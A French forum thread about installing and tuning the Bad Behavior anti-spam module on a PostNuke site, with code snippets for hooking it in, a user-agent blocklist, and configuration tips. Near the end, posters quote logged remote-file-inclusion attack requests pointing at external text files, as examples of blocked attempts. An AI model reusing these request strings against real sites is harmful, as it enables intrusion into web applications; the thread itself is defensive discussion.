installation de bad behaviour (anti spam de pn) : tips
Auteur Sujet

Post 
Si vous désirez installer ce module, il ne suffit pas de le charger sur le site et de l'activer (et non:))

en faites il y a un hack à rajouter


éditer "includes/pnAPI.php"

rajouter
  1.  if (pnModAvailable('Bad_Behaviour') && pnModAPILoad('Bad_Behaviour', 'user')) { 
  2.         pnModAPIFunc('Bad_Behaviour', 'user', 'execute'); 
  3.     } 


avant

  1.   // Call Stats module counter code if installed 


voir dossier pnDocs pour plus de détails
Données personnelles Accueil

Post 
Et il fait quoi au juste ce module ?

Petite précision, il faut mettre le code dans la fonction pnInit () vers la ligne 397.

modifié par : Makeu, 31 Mai 2008 - 17:48
Données personnelles Accueil

Post 
il bloque le spam en utilisant des informations connus sur les caractéristiques de ces spammers

voir

http://www.bad-behavior.ioerror.us/documentation/benefits/

comment çà marche
http://www.bad-behavior.ioerror.us/documentation/how-it-works/

si tu regardes dans le code (répertoire includes) , tu devrais mieux comprendre

genre dans blacklist, mais çà va plus loin que çà

  1. $bb2_spambots_0 = array( 
  2.         "<sc",            // XSS exploit attempts 
  3.         "8484 Boston Project",    // video poker/porn spam 
  4.         "adwords",        // referrer spam 
  5.         "autoemailspider",    // spam harvester 
  6.         "blogsearchbot-martin",    // from honeypot 
  7.         "Digger",        // spam harvester 
  8.         "ecollector",        // spam harvester 
  9.         "EmailCollector",    // spam harvester 
  10.         "Email Extractor",    // spam harvester 
  11.         "Email Siphon",        // spam harvester 
  12.         "EmailSiphon",        // spam harvester 
  13.         "grub crawler",        // misc comment/email spam 
  14.         "HttpProxy",        // misc comment/email spam 
  15.         "Internet Explorer",    // XMLRPC exploits seen 
  16.         "Jakarta Commons",    // custommised spambots 
  17.         "Java 1.",        // definitely a spammer 
  18.         "Java/1.",        // definitely a spammer 
  19.         "libwww-perl",        // spambot scripts 
  20.         "LWP",            // spambot scripts 
  21.         "Microsoft URL",    // spam harvester 
  22.         "Missigua",        // spam harvester 
  23.         "MJ12bot",        // crawls MUCH too fast 
  24.         "Movable Type",        // customised spambots 
  25.         "Mozilla ",        // malicious software 
  26.         "Mozilla/4.0(",        // from honeypot 
  27.         "Mozilla/4.0+(",    // suspicious harvester 
  28.         "MSIE",            // malicious software 
  29.         "NutchCVS",        // unidentified robots 
  30.         "Nutscrape/",        // misc comment spam 
  31.         "OmniExplorer",        // spam harvester 
  32.         "psycheclone",        // spam harvester 
  33.         "PussyCat ",        // misc comment spam 
  34.         "PycURL",        // misc comment spam 
  35.         "Shockwave Flash",    // spam harvester 
  36.         "TrackBack/",        // trackback spam 
  37.         "user",            // suspicious harvester 
  38.         "User Agent: ",        // spam harvester 
  39.         "User-Agent: ",        // spam harvester 
  40.         "Wordpress",        // malicious software 
  41.         "\"",            // malicious software 
  42.     ); 


modifié par : mumuri, 31 Mai 2008 - 19:24
Données personnelles Accueil

Post 
Ok merci mumuri.

Je me suis penché dessus et je l'ai testé sur le mes-anniversaires. Mais je rencontre deux problèmes.

Il me bloque le bot de Exalead... un peu gênant !
Et encore plus gênant, je ne peux plus accéder aux autres fonctions autres que la fonction main de mes modules... Je vais regarder d'un peu plus près ce qui cloche, je suis sous une rc 4 avec un url rewriting par dossier.
Données personnelles Accueil

Post 
Après quelques tests complémentaires, si je décoche Verbose HTTP request logging (Logs all requests not just those blocked) et Strict checking (blocks more spam but may block some people), je n'ai plus le problème pour voir les autres fonctions autres que le main.

J'ai vu sinon que tu avais posé une question à markwest pour savoir si yahoo ne se faisait pas bloqué... non au vu des logs, le bot de yahoo est bien passé sur mon site ;)
Données personnelles Accueil

Post 
disons que je trouvais bizarre que Msn et Google est une white list d'ip (voir fichier bad behaviour) mais que yahoo soit mis de coté.
Données personnelles Accueil

Post 
j'ai la premiére et dernière option activé (pas "voir les requêtes en cour" ) et çà marche

par contre, tu me confirmes, mais le cache de pnRender activé, le module est ingérable

à priori çà marche bien ..
un mec à tenter çà ...
/phpbb-test-t1311.html//includes/functions_portal.php?phpbb_root_path=http://www.geocities.com/maya.risa/id.txt???

un conseil si vous avez çà faites un "tracert ip" et soumettait un mail au provider du server ...


si vous utilisez le cache
http://noc.postnuke.com/tracker/ind..._id=60&atid=265

modifié par : mumuri, 01 Jn 2008 - 20:51
Données personnelles Accueil

Post 
"par contre, tu me confirmes, mais le cache de pnRender activé, le module est ingérable" Oui je te confirme.

Sinon j'ai mis à jour la version de bad behaviour vers la version 2.0.16.

Pour faire cette maj, tu télécharges la nouvelle version et tu remplaces tous les fichiers qui sont dans le répertoire pnincludes/bad-behavior.

Ensuite tu modifies le fichier bad-behavior-postnuke.php dans le répertoire pnincludes et tu rajoutes 'logging' => true dans la fonction bb2_read_settings à la ligne 84 :

  1. function bb2_read_settings() { 
  2.     $tables = pnDBGetTables(); 
  3.     $bb2_settings_defaults = array( 
  4.         'log_table'     => $tables['bad_behavior'], 
  5.         'display_stats' => true, 
  6.         'strict'        => pnModGetVar('Bad_Behaviour', 'strict'), 
  7.         'verbose'       => pnModGetVar('Bad_Behaviour', 'verbose'), 
  8.         'logging' => true 
  9.     ); 
  10.     return $bb2_settings_defaults; 


Pour moi les tests ont été concluant, il ne m'enregistre en bd que les requêtes qui ont été bloquées.

*J'espère que cette maj va laisser passer le bot de exalead

modifié par : Makeu, 02 Jn 2008 - 11:45
Données personnelles Accueil

Post 
merci je verrai çà quand j'aurai le temps (en faites chez moi çà fonctionne depuis le début ( 1000 bloqués en 1 jours)), je pense je vais la maj , mais c'est plus pour ce qu'il dise sur le site officiel

http://www.bad-behavior.ioerror.us/2008/05/18/bad-behavior-2016/

une autre remarque, çà bloque mais çà banni pas, çà c'est un peu chiant, je pense que je vais coder un site pour bloquer toutes les attaques identifiés

bye

tu l'as soumis en patch sur trac ?





modifié par : mumuri, 02 Jn 2008 - 14:36
Données personnelles Accueil
Post 
la 2.0.16 est sorti pour ceux qui sont intéréssés

au passage, j'avais parlé d'anti spam, mais y'a aussi une notion de sécurité ...

tous les scripts "kiddies" qui tentent des trucs comme çà sont bloqués
/mots-design.html//MOD_forum_fields_parse.php?phpbb_root_path=http://www.snatomania.altervista.org/saday%3C/text.txt?
GET //index.php?mode=http://www.bglradio.net/WebCalendar/id.txt??? HTTP/1.1Te: deflate,gzip;q=0.3Connection: TE, closeHost: forum.topflood.comUser-Agent: libwww-perl/5.79

modifié par : mumuri, 06 Jl 2008 - 22:23
Données personnelles Accueil